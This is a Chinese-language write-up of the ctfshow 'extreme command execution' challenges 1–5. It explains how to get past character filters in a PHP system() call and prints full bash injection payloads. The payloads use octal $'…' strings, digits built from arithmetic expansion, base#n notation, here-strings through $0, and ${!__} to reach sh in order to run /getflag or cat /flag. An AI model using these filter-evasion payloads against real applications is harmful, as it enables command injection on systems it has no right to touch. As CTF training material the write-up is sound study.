ctfshow-极限命令执行
关于getFlag()函数的命令执行 文章
官方wp 文章
极限命令执行1
题目代码
1 |
|
1 | 这里首先跑一下正则,因为一些不知名原因,直接显示不出来,所有进行url加密以后去解密了。 |
这里跑正则的意思是因为可以直接看哪些符号可以进行利用。
代码
1 |
|
以后遇到这种题就可以先去跑一下正则,看哪些可以进行利用
输出的urlencode
编码的结果,然后进行解码查看
只有这些可以进行利用
这里题目提示的环境是centos7
,那么在这个环境下是可以利用/进行命令执行的。
/getflag是一个php的继承类方法,可以直接使用,会返回1
payload
1 | 全称是 /bin/base64 flag.php 这里提示的是根目录,所以是/bin/base64 /flag |
这里考的是无字母进行rce,那么可以ctfshow的命令执行模块找到
极限命令执行2
题目
1 |
|
这里包含了个check.php,这里是先执行check()方法,在执行system()方法,那么我们可能会在check处进行类似die()方法一样进行终止,所以我们得想办法绕过。
测试的时候发现输入被过滤的内容时,会返回??????,所以我们可以写个python脚本来跑一下,看过滤了那些内容,还有看一下哪些内容可以进行利用。
脚本
1 | import requests |
等1跑完的时候,就可以看到结果了。
只有这些可以进行利用,很明显,?被过滤了。
禁用了问号,不能使用通配符的方式了,但是可以通过$'\xxx'
的方式执行命令,其中xxx是ascii字母的8进制值,比如ls
可以通过$'\154\163'
的方式进行执行。
值得注意的是,这种方案并不能解析带有参数的命令,所以本题提供了/getflag
来方便大家执行。
这种题其实也可以使用16进制进行利用,但是这里把字母给过滤了,所以16进制就不能用了 —-> /x53 (16进制)
payload
1 | ctf_show=$'\57\147\145\164\146\154\141\147' |
这里时getflag是题目给的,所以就可以构造/getflag
极限命令执行3
题目
1 |
|
还是先跑下python脚本,看哪些被过滤了。
数字只剩下01可以进行利用了,那么我们就得想别的方法了,这里先想到的是构造数字,web57讲了一下
可以利用这个姿势进行构造。这里的话~是取反符号
这里补充一下一个知识点 Shell 双引号和单引号的区别
这里利用$~()来构造所需要的数字
python脚本
1 | a = r"\ 5 7 \ 1 4 7 \ 1 4 5 \ 1 6 4 \ 1 4 6 \ 1 5 4 \ 1 4 1 \ 1 4 7" |
以后如果想要修改啥的话,直接修改a里面的值就行了。
那么就可以拿到构造好的数字了
1 | $\'\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\' |
这里多出\符号是进行转义使用的。
成功输出想要的东西
/getflag的八进制模式
但是这里的话是没有进行命令执行,只是进行输出而已。
这里引入bash的一个语法<<<
三个小于号(here-strings),语法:command [args] <<<[“]$word[“];$word会展开并作为command的stdin。
1 | command <<< string |
那么我们就可以尝试去使用here-strings的方法进行命令执行了
输出了1,但是本题用不了,因为题目没有提示在/getflag下。
所以我们就只能进行cat /flag了
这里的话,$’ xxx ‘执行时不能使用带参的方法的,那么我们要解决这个问题的话就得使用两次here-strings的方法
1 | (这里是因为bash把这一个字符串当作整体,而没有把空格作为分隔符正确解析) |
修改后的脚本
1 | #a = r"\ 5 7 \ 1 4 7 \ 1 4 5 \ 1 6 4 \ 1 4 6 \ 1 5 4 \ 1 4 1 \ 1 4 7" |
只需要把a进行修改就行了
payload
1 | ctf_show=$0<<<$0\<\<\<$\'\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))))))\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\' |
这里的话特殊点就是在使用第二次here-strings的方法的时候,得进行转义处理
官方wp
https://ctf-show.feishu.cn/docx/EH72dMi3hoBtLJxDydjcIVcQnSc
这个使用的是
禁用了除了01
以外的数字,这里需要理解bash对于整数的表示形式是[base#]n
的形式,比方说如果一个十进制数4,可以表示为二进制数100,那么在bash里可以表示为2#100
。
所以在现有条件下,我们只要通过位运算$((1<<1))
构造出2,就可以通过这种形式来构造任意数字了,比方说ls
就是$(($((1<<1))#10011010)) $(($((1<<1))#10100011))
官方payload
1 | ctf_show=$0<<<$0\<\<\<\$\'\\$(($((1<<1))#10001111))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10100100))\\$(($((1<<1))#101000))\\$(($((1<<1))#111001))\\$(($((1<<1))#10010010))\\$(($((1<<1))#10011010))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10010011))\' |
极限命令执行4
题目
1 |
|
遇到过滤的会输出??????,那么我们就可以使用一下脚本跑一下哪些东西可以进行利用
脚本
1 | import requests |
这里的话比上一题少了个零,但是用上一题的解法的话,可以直接通杀。
payload
1 | ctf_show=$0<<<$0\<\<\<$\'\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))))))\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\' |
官方wp
就是想办法来构造1
#
是计算字符串长度,两个#
中,第一个#是计算字符串长度 第二个#是字符串的名字。$#的值是0,字符串长度为1,所以$
是1
1 | 这里\$${#},虽然输出是$0,但是并不按$0来解析 |
还是构造 cat /flag
1 | ctf_show=$0<<<$0\<\<\<\$\'\\$(($((${##}<<${##}))#${##}000${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}0${##}00${##}00))\\$(($((${##}<<${##}))#${##}0${##}000))\\$(($((${##}<<${##}))#${##}${##}${##}00${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}0))\\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}${##}))\' |
就是把1替换成$就行了
极限命令执行5
题目
1 |
|
还是先跑一下py脚本,看哪些参数可以进行利用
01都得了,这里的话我们可以通过~$()来构造数字,但是0,没了我们就得想八法来构造$0来构造bash了。
1、是${!xxx}
的用法,举一个很简单的例子:
所以其实在这里,只要想办法构造一个变量,变量值是0,就可以很容易的拿到$0
了
其实在出题过程中,使用命令行进行测试,可以通过${!?}
和${!#}
的形式拿到bash
但是很可惜,在php的system环境下没有实现,不然可以做到更极限
所以仅能通过定义一个__=$(())
的方式将__
变量的值设置为0,然后通过${!__}
的形式拿到sh
字符。两条命令间通过&&
进行连接。至于为什么是两个下划线,是因为bash的变量命名规范是以下划线或者英文字母开头,可以包含下划线和英文字母数字。
1 | $0和${0}输出的是一个意思 |
1 | 这里不用$_的意思是因为$_有自己的意思,就是记录上一次的值 |
2、是~
操作,#
被禁用,~
是按位取反操作,我们可以通过$(())
取到0,然后对0进行按位取反,可以得到-1,很多个-1进行排列 可以得到-2、-3、-4、-5、-6、-7、-8,然后再按位取反就可以得到1、2、3、4、5、6、7。(这个操作是web入门57的姿势,有兴趣大家可以去做一下)
python脚本
1 | #a = r"\ 5 7 \ 1 4 7 \ 1 4 5 \ 1 6 4 \ 1 4 6 \ 1 5 4 \ 1 4 1 \ 1 4 7" |
最终payload
1 | ctf_show=__=$(())%26%26${!__}<<<${!__}\<\<\<\$\'\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))))))\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\' |
这里有一个新知识,可以通杀
1 | $_有自己的意思,就是记录上一次的值,所以加一的话就会输出a下一位的b |